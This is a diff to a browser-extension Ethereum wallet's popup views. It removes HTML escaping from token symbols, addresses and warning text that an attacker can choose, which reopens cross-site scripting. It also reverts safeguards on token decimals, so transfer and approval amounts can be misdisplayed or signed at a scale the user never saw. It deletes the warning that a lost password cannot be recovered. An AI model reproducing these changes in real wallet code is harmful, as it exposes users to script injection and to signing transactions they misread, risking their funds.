if (method === "eth_chainId" || method === "net_version") {
const s = await getState();
const net = networkById(s.networkId);
return {
result: method === "eth_chainId" ? net.chainId : net.networkVersion,
};
} }
if (method === "wallet_switchEthereumChain") { if (method === "wallet_switchEthereumChain") {

View File

@@ -153,28 +153,12 @@
<!-- Shared password fields --> <!-- Shared password fields -->
<div class="mb-2" id="add-wallet-password-section"> <div class="mb-2" id="add-wallet-password-section">
<label class="block mb-1">Choose a password</label> <label class="block mb-1">Choose a password</label>
<!-- The hint is swapped in place when the import tab
changes, and it sits directly above the password
fields, so a wording that wraps to a different
number of lines would move them under the pointer.
Two things stop that: the three wordings in
PASSWORD_HINTS are kept within a couple of
characters of each other in length, and this floor
matches what each of them needs. All three measure
48px -- 3 lines at the 16px line height, at the
368px width this box has in the 396px popup body.
Do not raise it: the reserve is unused height on
every tab, and at 6rem it pushed
#btn-add-wallet-confirm to bottom=628px in a 600px
viewport, below the fold. -->
<p <p
class="text-xs text-muted mb-1 min-h-[3rem]" class="text-xs text-muted mb-1"
id="add-wallet-password-hint" id="add-wallet-password-hint"
> >
This password encrypts your recovery phrase on this This password encrypts your recovery phrase on this
device. You will need it to send funds. It cannot be device. You will need it to send funds.
recovered or reset, so keep your recovery phrase written
down: it is the only backup of this wallet.
</p> </p>
<input <input
type="password" type="password"
@@ -1156,71 +1140,6 @@
> >
Confirm Delete Confirm Delete
</button> </button>
<p class="text-xs mt-3">
<span
id="btn-delete-wallet-lost-password"
class="underline decoration-dashed cursor-pointer"
>I have lost my password</span
>
</p>
</div>
<!-- ============ DELETE WALLET WITHOUT THE PASSWORD ============ -->
<div id="view-delete-wallet-lost-password" class="view hidden">
<button
id="btn-delete-wallet-lost-back"
class="border border-border px-2 py-1 hover:bg-fg hover:text-bg cursor-pointer mb-2"
>
&lt; Back
</button>
<h2 class="font-bold mb-3">Delete Wallet Without a Password</h2>
<p class="text-xs mb-2">
Your password cannot be recovered or reset, so there is no
way to unlock
<strong id="delete-wallet-lost-name"></strong> again. You
can still delete it, and no password is needed to do that.
</p>
<p class="text-xs mb-2">
Deleting it erases the copy of its key that is stored on
this device. Nothing on the blockchain changes, and the
money at its addresses is not moved or destroyed.
</p>
<p class="text-xs mb-2">
If you have the recovery phrase for this wallet written
down, add the wallet again afterwards with a new password
and you will have it back.
<strong
>If you do not have it written down, deleting this
wallet means losing everything it holds,
forever.</strong
>
</p>
<p class="text-xs mb-3">Your other wallets are not touched.</p>
<p class="text-xs mb-1">
To confirm, type the name of the wallet (<strong
id="delete-wallet-lost-name-echo"
></strong
>) below.
</p>
<div class="mb-2">
<input
type="text"
id="delete-wallet-lost-name-input"
class="border border-border p-1 w-full font-mono text-sm bg-bg text-fg"
placeholder="Type the wallet name"
/>
</div>
<div
id="delete-wallet-lost-flash"
class="text-xs text-red-500 mb-2 min-h-[1.25rem]"
style="visibility: hidden"
></div>
<button
id="btn-delete-wallet-lost-confirm"
class="border border-border text-red-500 px-2 py-1 hover:bg-fg hover:text-bg cursor-pointer"
>
Delete This Wallet Forever
</button>
</div> </div>
<!-- ============ DELETE ADDRESS CONFIRM ============ --> <!-- ============ DELETE ADDRESS CONFIRM ============ -->

View File

@@ -10,11 +10,6 @@
// prompt in front of it, on a popup the user may have reopened by accident. // prompt in front of it, on a popup the user may have reopened by accident.
// That is why "export-privkey" and "show-phrase" are absent. // That is why "export-privkey" and "show-phrase" are absent.
// //
// Nor may a view whose button destroys a wallet be listed, for the mirror
// reason: a popup reopened by accident must not land on the screen that
// erases key material. That is why "delete-wallet-confirm" and
// "delete-wallet-lost-password" are absent.
//
// Kept in its own module, with no dependencies, so tests can assert the // Kept in its own module, with no dependencies, so tests can assert the
// exclusion directly rather than trusting a reading of the popup entry // exclusion directly rather than trusting a reading of the popup entry
// point, which cannot be required outside a browser. // point, which cannot be required outside a browser.

View File

@@ -1,4 +1,4 @@
const { $, showView, showFlash, escapeHtml, goBack } = require("./helpers"); const { $, showView, showFlash, goBack } = require("./helpers");
const { getTopTokens } = require("../../shared/tokenList"); const { getTopTokens } = require("../../shared/tokenList");
const { state, saveState } = require("../../shared/state"); const { state, saveState } = require("../../shared/state");
const { lookupTokenInfo } = require("../../shared/balances"); const { lookupTokenInfo } = require("../../shared/balances");
@@ -13,7 +13,7 @@ function show() {
list.innerHTML = getTopTokens(25) list.innerHTML = getTopTokens(25)
.map( .map(
(t) => (t) =>
`<button class="common-token border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs" data-address="${escapeHtml(t.address)}" data-symbol="${escapeHtml(t.symbol)}" data-decimals="${escapeHtml(t.decimals)}">${escapeHtml(t.symbol)}</button>`, `<button class="common-token border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs" data-address="${t.address}" data-symbol="${t.symbol}" data-decimals="${t.decimals}">${t.symbol}</button>`,
) )
.join(""); .join("");
list.querySelectorAll(".common-token").forEach((btn) => { list.querySelectorAll(".common-token").forEach((btn) => {

View File

@@ -42,24 +42,12 @@ let currentMode = "mnemonic";
const MODES = ["mnemonic", "privkey", "xprv"]; const MODES = ["mnemonic", "privkey", "xprv"];
// Each hint names what this import mode's own backup is, because a key
// wallet and an xprv wallet have no recovery phrase to point the user at.
// All three say the same thing about the password: it is gone for good if
// it is forgotten. That sentence is the only warning the user gets before
// the wallet exists, and without it the lost-password route in
// views/deleteWallet.js is the first they hear of it.
//
// Keep the three within a couple of characters of each other in length.
// The hint sits directly above the password fields and the tabs swap it in
// place, so a wording that wraps to a different number of lines would move
// those fields under the pointer; the reserved height on
// #add-wallet-password-hint is the other half of that guarantee.
const PASSWORD_HINTS = { const PASSWORD_HINTS = {
mnemonic: mnemonic:
"This password encrypts your recovery phrase on this device. You will need it to send funds. It cannot be recovered or reset, so keep your recovery phrase written down: it is the only backup of this wallet.", "This password encrypts your recovery phrase on this device. You will need it to send funds.",
privkey: privkey:
"This password encrypts your private key on this device. You will need it to send funds. It cannot be recovered or reset, so keep your private key saved somewhere safe: it is the only backup of this wallet.", "This password encrypts your private key on this device. You will need it to send funds.",
xprv: "This password encrypts your key on this device. You will need it to send funds. It cannot be recovered or reset, so keep your extended private key saved somewhere safe: it is the only backup of this wallet.", xprv: "This password encrypts your key on this device. You will need it to send funds.",
}; };
function switchMode(mode) { function switchMode(mode) {

View File

@@ -6,7 +6,6 @@ const {
addressDotHtml, addressDotHtml,
addressTitle, addressTitle,
escapeHtml, escapeHtml,
displaySymbol,
truncateMiddle, truncateMiddle,
renderAddressHtml, renderAddressHtml,
attachCopyHandlers, attachCopyHandlers,
@@ -222,12 +221,10 @@ function renderTransactions(txs) {
: tx.from; : tx.from;
const ensName = ensNameMap.get(counterparty) || null; const ensName = ensNameMap.get(counterparty) || null;
const title = addressTitle(counterparty, state.wallets); const title = addressTitle(counterparty, state.wallets);
// The explorer's method name for a contract call, title-cased. const dirLabel = tx.directionLabel;
const dirLabel = escapeHtml(tx.directionLabel);
const sym = displaySymbol(tx.symbol);
const amountStr = tx.value const amountStr = tx.value
? escapeHtml(tx.value + " " + sym) ? escapeHtml(tx.value + " " + tx.symbol)
: escapeHtml(sym); : escapeHtml(tx.symbol);
const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10)); const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10));
const displayAddr = const displayAddr =
title || ensName || truncateMiddle(counterparty, maxAddr); title || ensName || truncateMiddle(counterparty, maxAddr);

View File

@@ -9,7 +9,6 @@ const {
addressDotHtml, addressDotHtml,
addressTitle, addressTitle,
escapeHtml, escapeHtml,
displaySymbol,
truncateMiddle, truncateMiddle,
balanceLine, balanceLine,
renderAddressHtml, renderAddressHtml,
@@ -125,11 +124,7 @@ function show() {
currentSymbol = symbol; currentSymbol = symbol;
$("address-token-title").textContent = $("address-token-title").textContent =
wallet.name + wallet.name + " \u2014 Address " + (ai + 1) + " \u2014 " + symbol;
" \u2014 Address " +
(ai + 1) +
" \u2014 " +
displaySymbol(symbol);
// Blockie // Blockie
const blockieEl = $("address-token-jazzicon"); const blockieEl = $("address-token-jazzicon");
@@ -179,9 +174,7 @@ function show() {
(knownToken && knownToken.symbol) || (knownToken && knownToken.symbol) ||
null; null;
const tokenName = rawName ? escapeHtml(rawName) : null; const tokenName = rawName ? escapeHtml(rawName) : null;
const tokenSymbol = rawSymbol const tokenSymbol = rawSymbol ? escapeHtml(rawSymbol) : null;
? escapeHtml(displaySymbol(rawSymbol))
: null;
const tokenDecimals = const tokenDecimals =
tb && tb.decimals != null tb && tb.decimals != null
? tb.decimals ? tb.decimals
@@ -295,12 +288,10 @@ function renderTransactions(txs) {
const counterparty = tx.direction === "sent" ? tx.to : tx.from; const counterparty = tx.direction === "sent" ? tx.to : tx.from;
const ensName = ensNameMap.get(counterparty) || null; const ensName = ensNameMap.get(counterparty) || null;
const title = addressTitle(counterparty, state.wallets); const title = addressTitle(counterparty, state.wallets);
// The explorer's method name for a contract call, title-cased. const dirLabel = tx.directionLabel;
const dirLabel = escapeHtml(tx.directionLabel);
const sym = displaySymbol(tx.symbol);
const amountStr = tx.value const amountStr = tx.value
? escapeHtml(tx.value + " " + sym) ? escapeHtml(tx.value + " " + tx.symbol)
: escapeHtml(sym); : escapeHtml(tx.symbol);
const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10)); const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10));
const displayAddr = const displayAddr =
title || ensName || truncateMiddle(counterparty, maxAddr); title || ensName || truncateMiddle(counterparty, maxAddr);
@@ -370,7 +361,7 @@ function init(_ctx) {
} }
// Hide dropdown, show static token display // Hide dropdown, show static token display
$("send-token").classList.add("hidden"); $("send-token").classList.add("hidden");
let staticHtml = `<div class="font-bold">${escapeHtml(displaySymbol(currentSymbol))}</div>`; let staticHtml = `<div class="font-bold">${escapeHtml(currentSymbol)}</div>`;
if (tokenId !== "ETH") { if (tokenId !== "ETH") {
staticHtml += `<div class="text-xs">${renderAddressHtml(tokenId)}</div>`; staticHtml += `<div class="text-xs">${renderAddressHtml(tokenId)}</div>`;
} }

View File

@@ -21,10 +21,6 @@ const {
const { getPrice, formatUsd } = require("../../shared/prices"); const { getPrice, formatUsd } = require("../../shared/prices");
const { ERC20_ABI } = require("../../shared/constants"); const { ERC20_ABI } = require("../../shared/constants");
const { TOKEN_BY_ADDRESS } = require("../../shared/tokenList"); const { TOKEN_BY_ADDRESS } = require("../../shared/tokenList");
const {
resolveTokenDecimals,
unknownDecimalsAmount,
} = require("../../shared/approvalAmount");
const { decryptWithPassword } = require("../../shared/vault"); const { decryptWithPassword } = require("../../shared/vault");
const { getSignerForAddress } = require("../../shared/wallet"); const { getSignerForAddress } = require("../../shared/wallet");
const { walletDefect } = require("../../shared/walletDefects"); const { walletDefect } = require("../../shared/walletDefects");
@@ -47,23 +43,6 @@ function formatTxValue(val) {
return parts[0] + "." + dec; return parts[0] + "." + dec;
} }
// The amount line for a decoded ERC-20 call. With a known scale it is the
// token quantity; with `decimals` null it is the base-unit integer with the
// unknown scale stated, because formatting it with an assumed scale is what
// showed a 5,000-token transfer as `0.0000`. `raw` is what the status screens
// carry, `display` is what the approval screen shows.
function tokenAmountText(rawAmount, decimals, symbol) {
if (decimals === null) {
const unknown = unknownDecimalsAmount(rawAmount);
return { raw: unknown, display: unknown };
}
const formatted = formatTxValue(formatUnits(rawAmount, decimals));
return {
raw: formatted,
display: formatted + (symbol ? " " + symbol : ""),
};
}
function tokenLabel(address) { function tokenLabel(address) {
const t = TOKEN_BY_ADDRESS.get(address.toLowerCase()); const t = TOKEN_BY_ADDRESS.get(address.toLowerCase());
return t ? t.symbol : null; return t ? t.symbol : null;
@@ -80,15 +59,7 @@ function decodeCalldata(data, toAddress) {
if (parsed) { if (parsed) {
const token = TOKEN_BY_ADDRESS.get(toAddress.toLowerCase()); const token = TOKEN_BY_ADDRESS.get(toAddress.toLowerCase());
const tokenSymbol = token ? token.symbol : null; const tokenSymbol = token ? token.symbol : null;
// null when no source knows this token's scale. It is not const tokenDecimals = token ? token.decimals : 18;
// defaulted to 18: an amount formatted with a guessed scale is
// the wrong number, and for a token with fewer decimals than the
// guess it is the wrong number in the direction that reads as
// zero. See tokenAmountText().
const tokenDecimals = resolveTokenDecimals(toAddress, {
trackedTokens: state.trackedTokens,
wallets: state.wallets,
});
const contractLabel = tokenSymbol const contractLabel = tokenSymbol
? tokenSymbol + " (" + toAddress + ")" ? tokenSymbol + " (" + toAddress + ")"
: toAddress; : toAddress;
@@ -100,11 +71,12 @@ function decodeCalldata(data, toAddress) {
"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff", "0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff",
); );
const isUnlimited = rawAmount === maxUint; const isUnlimited = rawAmount === maxUint;
// An unbounded allowance needs no scale to describe, so it is const amountRaw = isUnlimited
// still named rather than refused. ? "Unlimited"
const amount = isUnlimited : formatTxValue(formatUnits(rawAmount, tokenDecimals));
? { raw: "Unlimited", display: "Unlimited" } const amountStr = isUnlimited
: tokenAmountText(rawAmount, tokenDecimals, tokenSymbol); ? "Unlimited"
: amountRaw + (tokenSymbol ? " " + tokenSymbol : "");
return { return {
name: "Token Approval", name: "Token Approval",
@@ -125,8 +97,8 @@ function decodeCalldata(data, toAddress) {
}, },
{ {
label: "Amount", label: "Amount",
value: amount.display, value: amountStr,
rawValue: amount.raw, rawValue: amountRaw,
}, },
], ],
}; };
@@ -135,11 +107,11 @@ function decodeCalldata(data, toAddress) {
if (parsed.name === "transfer") { if (parsed.name === "transfer") {
const to = parsed.args[0]; const to = parsed.args[0];
const rawAmount = parsed.args[1]; const rawAmount = parsed.args[1];
const amount = tokenAmountText( const amountRaw = formatTxValue(
rawAmount, formatUnits(rawAmount, tokenDecimals),
tokenDecimals,
tokenSymbol,
); );
const amountStr =
amountRaw + (tokenSymbol ? " " + tokenSymbol : "");
return { return {
name: "Token Transfer", name: "Token Transfer",
@@ -156,8 +128,8 @@ function decodeCalldata(data, toAddress) {
{ label: "Recipient", value: to, address: to }, { label: "Recipient", value: to, address: to },
{ {
label: "Amount", label: "Amount",
value: amount.display, value: amountStr,
rawValue: amount.raw, rawValue: amountRaw,
}, },
], ],
}; };

View File

@@ -10,7 +10,6 @@ const {
showView, showView,
addressTitle, addressTitle,
escapeHtml, escapeHtml,
displaySymbol,
renderAddressHtml, renderAddressHtml,
attachCopyHandlers, attachCopyHandlers,
goBack, goBack,
@@ -26,10 +25,6 @@ const {
getFullWarnings, getFullWarnings,
} = require("../../shared/addressWarnings"); } = require("../../shared/addressWarnings");
const { ERC20_ABI, isBurnAddress } = require("../../shared/constants"); const { ERC20_ABI, isBurnAddress } = require("../../shared/constants");
const {
displayedDecimals,
transferAmountUnits,
} = require("../../shared/transferAmount");
const { const {
CODES, CODES,
FEE_PENDING, FEE_PENDING,
@@ -58,7 +53,7 @@ function restore() {
function blockieHtml(address) { function blockieHtml(address) {
const src = makeBlockie(address); const src = makeBlockie(address);
return `<img src="${escapeHtml(src)}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`; return `<img src="${src}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
} }
function confirmAddressHtml(address, ensName, title) { function confirmAddressHtml(address, ensName, title) {
@@ -82,11 +77,7 @@ function show(txInfo) {
feeWei = null; feeWei = null;
const isErc20 = txInfo.token !== "ETH"; const isErc20 = txInfo.token !== "ETH";
// The raw symbol is the price-table key; the capped one is what the const symbol = isErc20 ? txInfo.tokenSymbol || "?" : "ETH";
// screen says. Truncating before the lookup would silently drop the
// price of any token whose symbol is long enough to be capped.
const rawSymbol = isErc20 ? txInfo.tokenSymbol || "?" : "ETH";
const symbol = displaySymbol(rawSymbol);
// Transaction type // Transaction type
if (isErc20) { if (isErc20) {
@@ -128,7 +119,7 @@ function show(txInfo) {
// Amount (with inline USD) // Amount (with inline USD)
const ethPrice = getPrice("ETH"); const ethPrice = getPrice("ETH");
const tokenPrice = getPrice(rawSymbol); const tokenPrice = getPrice(symbol);
const amountNum = parseFloat(txInfo.amount); const amountNum = parseFloat(txInfo.amount);
const price = isErc20 ? tokenPrice : ethPrice; const price = isErc20 ? tokenPrice : ethPrice;
const amountUsd = price ? amountNum * price : null; const amountUsd = price ? amountNum * price : null;
@@ -161,12 +152,7 @@ function show(txInfo) {
warningsEl.innerHTML = localWarnings warningsEl.innerHTML = localWarnings
.map( .map(
(w) => (w) =>
// Only the three hardcoded strings in `<div class="border border-border border-dashed p-2 mb-1 text-xs font-bold">WARNING: ${w.message}</div>`,
// src/shared/addressWarnings.js reach this today, but
// src/shared/etherscanLabels.js already builds a
// `warning` out of scraped explorer markup, so this is
// one wiring change away from carrying remote text.
`<div class="border border-border border-dashed p-2 mb-1 text-xs font-bold">WARNING: ${escapeHtml(w.message)}</div>`,
) )
.join(""); .join("");
warningsEl.style.visibility = "visible"; warningsEl.style.visibility = "visible";
@@ -216,7 +202,7 @@ function show(txInfo) {
// touches already occupies its space, so re-running it never moves anything. // touches already occupies its space, so re-running it never moves anything.
function renderValidation(txInfo) { function renderValidation(txInfo) {
const isErc20 = txInfo.token !== "ETH"; const isErc20 = txInfo.token !== "ETH";
const symbol = isErc20 ? displaySymbol(txInfo.tokenSymbol || "?") : "ETH"; const symbol = isErc20 ? txInfo.tokenSymbol || "?" : "ETH";
const { canSend, codes } = validateTransfer({ const { canSend, codes } = validateTransfer({
isErc20, isErc20,
@@ -316,17 +302,8 @@ async function estimateGas(txInfo) {
}); });
} else { } else {
const contract = new Contract(txInfo.token, ERC20_ABI, provider); const contract = new Contract(txInfo.token, ERC20_ABI, provider);
// The scale the screen is rendering with, not the contract's own const decimals = await contract.decimals();
// answer: the estimate has to be for the transfer that would be const amount = parseUnits(txInfo.amount, decimals);
// signed, and that one is encoded from what was displayed. See
// transferAmount.js. A pending transaction that carries no usable
// scale throws here, which reports the fee as unknown and leaves
// Send blocked — an amount that cannot be checked against the
// screen is never estimated for, let alone sent.
const amount = parseUnits(
txInfo.amount,
displayedDecimals(txInfo.tokenDecimals),
);
gasLimit = await contract.transfer.estimateGas(txInfo.to, amount, { gasLimit = await contract.transfer.estimateGas(txInfo.to, amount, {
from: txInfo.from, from: txInfo.from,
}); });
@@ -468,16 +445,8 @@ function init(_ctx) {
ERC20_ABI, ERC20_ABI,
connectedSigner, connectedSigner,
); );
// The contract's decimals() is read to be COMPARED with the const decimals = await contract.decimals();
// scale the screen rendered this amount at, not to encode with: const amount = parseUnits(pendingTx.amount, decimals);
// encoding from it signs whatever the contract answers now,
// which is not what the user read. A disagreement throws and is
// reported on the error screen. See transferAmount.js.
const amount = transferAmountUnits(
pendingTx.amount,
pendingTx.tokenDecimals,
await contract.decimals(),
);
tx = await contract.transfer(pendingTx.to, amount); tx = await contract.transfer(pendingTx.to, amount);
} }

View File

@@ -11,7 +11,6 @@ const {
$, $,
showView, showView,
showFlash, showFlash,
escapeHtml,
goBack, goBack,
renderAddressHtml, renderAddressHtml,
attachCopyHandlers, attachCopyHandlers,
@@ -45,8 +44,8 @@ function setFlash(msg) {
// wallet.nextIndex is a high-water mark and is deliberately not rewound; and // wallet.nextIndex is a high-water mark and is deliberately not rewound; and
// re-importing this wallet's key material is refused as a duplicate by // re-importing this wallet's key material is refused as a duplicate by
// findWalletByXpub() for as long as the wallet is here. What remains is to // findWalletByXpub() for as long as the wallet is here. What remains is to
// delete the whole wallet in Settings — which destroys the stored secret, // delete the whole wallet in Settings — which asks for the password and
// with or without the password — and import again, after which // destroys the stored secret — and import again, after which
// scanForAddresses() rediscovers the address only if it has on-chain // scanForAddresses() rediscovers the address only if it has on-chain
// activity. An address that was never used is not found by that scan, and // activity. An address that was never used is not found by that scan, and
// the copy must not imply otherwise. // the copy must not imply otherwise.
@@ -63,7 +62,8 @@ function recoveryPathText(wallet) {
"importing this " + "importing this " +
secret + secret +
" again is refused while this wallet is still here. The way back is " + " again is refused while this wallet is still here. The way back is " +
"to delete the whole wallet in Settings, which destroys the stored " + "to delete the whole wallet in Settings, which asks for your " +
"password and destroys the stored " +
secret + secret +
", and then import that " + ", and then import that " +
secret + secret +
@@ -92,7 +92,7 @@ function balanceWarningHtml(addr) {
if (!addressHoldsFunds(addr)) return "&nbsp;"; if (!addressHoldsFunds(addr)) return "&nbsp;";
const line = formatAddressTotal(getAddressValue(addr)); const line = formatAddressTotal(getAddressValue(addr));
const total = line const total = line
? `<div class="text-xs text-muted mt-1">${escapeHtml(line)}</div>` ? `<div class="text-xs text-muted mt-1">${line}</div>`
: ""; : "";
return ( return (
`<p class="mb-1">This address holds a balance. Removing it does not ` + `<p class="mb-1">This address holds a balance. Removing it does not ` +

View File

@@ -14,29 +14,8 @@ const {
} = require("../../shared/walletDelete"); } = require("../../shared/walletDelete");
let deleteWalletIndex = null; let deleteWalletIndex = null;
let lostPasswordIndex = null;
let ctx = null; let ctx = null;
// The name shown for a wallet, and on the lost-password screen the string
// the user has to type back. One function so the two cannot disagree: a
// confirmation that asks for a name other than the one on screen is
// unusable.
function displayName(walletIdx) {
const wallet = state.wallets[walletIdx];
return (wallet && wallet.name) || "Wallet " + (walletIdx + 1);
}
// What the typed confirmation and the wallet name are compared as. HTML
// collapses runs of whitespace when it renders the name, so a wallet named
// "My Wallet" with two spaces DISPLAYS as "My Wallet": the user cannot
// see the second space and cannot type a string that matches the stored
// name. Comparing collapsed on both sides is what keeps the confirmation
// satisfiable, on the one screen whose whole purpose is unwedging a user
// who is already stuck. Case and surrounding space go the same way.
function confirmKey(name) {
return name.trim().replace(/\s+/g, " ").toLowerCase();
}
// Drop the password from the DOM and the wallet selection from the // Drop the password from the DOM and the wallet selection from the
// closure. Registered as the view-leave handler as well as run on entry, // closure. Registered as the view-leave handler as well as run on entry,
// so the typed password does not sit in the hidden view after the user // so the typed password does not sit in the hidden view after the user
@@ -48,89 +27,19 @@ function clear() {
$("delete-wallet-flash").style.visibility = "hidden"; $("delete-wallet-flash").style.visibility = "hidden";
} }
// The lost-password screen holds no secret — a wallet name is not one —
// but it is wiped on leave for the neighbouring reason: a typed
// confirmation left standing in a hidden view is one click away from
// destroying a wallet the user has since navigated off. The button is
// re-enabled here too, so a screen left mid-delete is usable on re-entry.
function clearLostPassword() {
lostPasswordIndex = null;
$("delete-wallet-lost-name-input").value = "";
$("delete-wallet-lost-flash").textContent = "";
$("delete-wallet-lost-flash").style.visibility = "hidden";
const btn = $("btn-delete-wallet-lost-confirm");
btn.disabled = false;
btn.classList.remove("text-muted");
}
function show(walletIdx) { function show(walletIdx) {
clear(); clear();
deleteWalletIndex = walletIdx; deleteWalletIndex = walletIdx;
$("delete-wallet-name").textContent = displayName(walletIdx); const wallet = state.wallets[walletIdx];
$("delete-wallet-name").textContent =
wallet.name || "Wallet " + (walletIdx + 1);
showView("delete-wallet-confirm"); showView("delete-wallet-confirm");
} }
// The two delete screens are siblings, not parent and child: nothing is
// pushed on the way here, and Back goes to show() rather than goBack().
// Both then have the same Back target — Settings, the screen that pushed
// delete-wallet-confirm — and re-entering through show() hands the confirm
// screen its wallet selection back, which a bare goBack() onto a view
// whose leave hook has already nulled that selection would not.
function showLostPassword() {
const walletIdx = deleteWalletIndex;
if (walletIdx === null) {
goBack();
return;
}
const name = displayName(walletIdx);
clearLostPassword();
$("delete-wallet-lost-name").textContent = name;
$("delete-wallet-lost-name-echo").textContent = name;
// showView() runs the leave hook of delete-wallet-confirm, which nulls
// deleteWalletIndex, so this screen's own selection is recorded after
// it and not before.
showView("delete-wallet-lost-password");
lostPasswordIndex = walletIdx;
}
// Remove the wallet and put the user somewhere sensible. Shared by both
// routes onto this screen, so the selection repair, the site-permission
// cleanup and the accountsChanged broadcast cannot drift apart between
// them.
async function finishDelete(walletIdx) {
const { activeAddressChanged } = removeWalletFromState(state, walletIdx);
deleteWalletIndex = null;
lostPasswordIndex = null;
if (!state.hasWallet) {
clearViewStack();
await saveState();
// Save before broadcasting: the background reads the active
// address back out of storage to build accountsChanged.
if (activeAddressChanged) broadcastActiveChanged();
showView("welcome");
return;
}
await saveState();
if (activeAddressChanged) broadcastActiveChanged();
// Reset stack to [main] so Settings back goes home.
// Use require() lazily to avoid circular dependency
// (settings.js requires deleteWallet.js).
clearViewStack();
state.viewStack.push("main");
ctx.renderWalletList();
const settings = require("./settings");
settings.show();
showFlash("Wallet deleted.");
}
function init(_ctx) { function init(_ctx) {
ctx = _ctx; ctx = _ctx;
onViewLeave("delete-wallet-confirm", clear); onViewLeave("delete-wallet-confirm", clear);
onViewLeave("delete-wallet-lost-password", clearLostPassword);
// No wipe here: goBack() routes through showView(), which runs the // No wipe here: goBack() routes through showView(), which runs the
// leave hook. // leave hook.
@@ -138,60 +47,6 @@ function init(_ctx) {
goBack(); goBack();
}); });
// The escape hatch, and deliberately not gated on anything a user who
// has lost the password cannot produce. A password in front of
// DISCARDING a secret protects nobody: an attacker at the popup who
// wants the wallet gone can uninstall the extension, so the only
// person such a gate stops is the owner who forgot it — and before
// this route existed that owner could neither delete the wallet nor
// import its recovery phrase again, because AddWallet refuses the xpub
// as a duplicate while the wallet is still stored.
$("btn-delete-wallet-lost-password").addEventListener("click", () => {
showLostPassword();
});
$("btn-delete-wallet-lost-back").addEventListener("click", () => {
const walletIdx = lostPasswordIndex;
if (walletIdx === null) {
goBack();
return;
}
show(walletIdx);
});
$("btn-delete-wallet-lost-confirm").addEventListener("click", async () => {
if (lostPasswordIndex === null) {
$("delete-wallet-lost-flash").textContent =
"No wallet selected for deletion.";
$("delete-wallet-lost-flash").style.visibility = "visible";
return;
}
// Case, surrounding spaces and repeated inner spaces are not part
// of the confirmation; see confirmKey(). This asks whether the
// user knows which wallet they are on; it is not a secret, and
// refusing "wallet 2" for "Wallet 2" would only teach the user to
// distrust the control.
const typed = $("delete-wallet-lost-name-input").value;
const expected = displayName(lostPasswordIndex);
if (confirmKey(typed) !== confirmKey(expected)) {
$("delete-wallet-lost-flash").textContent =
"That is not the name of this wallet. Type " +
expected +
" to confirm.";
$("delete-wallet-lost-flash").style.visibility = "visible";
return;
}
const btn = $("btn-delete-wallet-lost-confirm");
btn.disabled = true;
btn.classList.add("text-muted");
// finishDelete() navigates, and the leave hook re-enables the
// button and wipes the typed name on the way out.
await finishDelete(lostPasswordIndex);
});
$("btn-delete-wallet-confirm").addEventListener("click", async () => { $("btn-delete-wallet-confirm").addEventListener("click", async () => {
const pw = $("delete-wallet-password").value; const pw = $("delete-wallet-password").value;
if (!pw) { if (!pw) {
@@ -227,7 +82,34 @@ function init(_ctx) {
return; return;
} }
await finishDelete(walletIdx); // Remove the wallet and repair selection, permissions and hasWallet
const { activeAddressChanged } = removeWalletFromState(
state,
walletIdx,
);
deleteWalletIndex = null;
if (!state.hasWallet) {
clearViewStack();
await saveState();
// Save before broadcasting: the background reads the active
// address back out of storage to build accountsChanged.
if (activeAddressChanged) broadcastActiveChanged();
showView("welcome");
} else {
await saveState();
if (activeAddressChanged) broadcastActiveChanged();
// Reset stack to [main] so Settings back goes home.
// Use require() lazily to avoid circular dependency
// (settings.js requires deleteWallet.js).
clearViewStack();
state.viewStack.push("main");
ctx.renderWalletList();
const settings = require("./settings");
settings.show();
showFlash("Wallet deleted.");
}
}); });
} }

View File

@@ -1,22 +1,8 @@
// Shared DOM helpers used by all views. // Shared DOM helpers used by all views.
//
// Escaping rule for every view in this directory, since they all build
// markup by concatenation: any VALUE interpolated into an innerHTML string
// goes through escapeHtml(), whatever its provenance looks like today. The
// only interpolations left bare are markup FRAGMENTS this code just built
// (a rendered dot, an icon, a composed row), which escaping would turn into
// visible angle brackets, and locally computed numbers and loop indices.
// The distinction is meant to be greppable: an unescaped `${` next to a
// name that reads like data is a defect.
// escapeHtml lives in src/shared/html.js, where the escape and the
// reasoning behind it are; it is re-exported below so views keep importing
// it from here.
const { escapeHtml } = require("../../shared/html");
const { isDebug } = require("../../shared/log"); const { isDebug } = require("../../shared/log");
const { formatUsd, getPrice } = require("../../shared/prices"); const { formatUsd, getPrice } = require("../../shared/prices");
const { state, saveState, currentNetwork } = require("../../shared/state"); const { state, saveState, currentNetwork } = require("../../shared/state");
const { displaySymbol } = require("../../shared/symbolDisplay");
const { markViewRendered } = require("../viewRouter"); const { markViewRendered } = require("../viewRouter");
// When views are added, removed, or transitions between them change, // When views are added, removed, or transitions between them change,
@@ -36,7 +22,6 @@ const VIEWS = [
"add-token", "add-token",
"settings", "settings",
"delete-wallet-confirm", "delete-wallet-confirm",
"delete-wallet-lost-password",
"delete-address-confirm", "delete-address-confirm",
"settings-addtoken", "settings-addtoken",
"transaction", "transaction",
@@ -192,26 +177,17 @@ function showFlash(msg, duration = 2000) {
}, duration); }, duration);
} }
// One row of the balance list: symbol, quantity, fiat value.
//
// `symbol` is the ERC-20's own symbol() as the block explorer reported it,
// so it is attacker-chosen markup until it has been through escapeHtml, and
// attacker-chosen length until it has been through displaySymbol. This is
// the row that issue #307 was reported against: every screen that lists a
// holding renders through here.
function balanceLine(symbol, amount, price, tokenId) { function balanceLine(symbol, amount, price, tokenId) {
const qty = amount.toFixed(4); const qty = amount.toFixed(4);
const usd = price ? formatUsd(amount * price) || "&nbsp;" : "&nbsp;"; const usd = price ? formatUsd(amount * price) || "&nbsp;" : "&nbsp;";
// tokenId is a contract address out of the same explorer JSON, and it const tokenAttr = tokenId ? ` data-token="${tokenId}"` : "";
// lands inside a quoted attribute.
const tokenAttr = tokenId ? ` data-token="${escapeHtml(tokenId)}"` : "";
const clickClass = tokenId const clickClass = tokenId
? " cursor-pointer hover:bg-hover balance-row" ? " cursor-pointer hover:bg-hover balance-row"
: ""; : "";
return ( return (
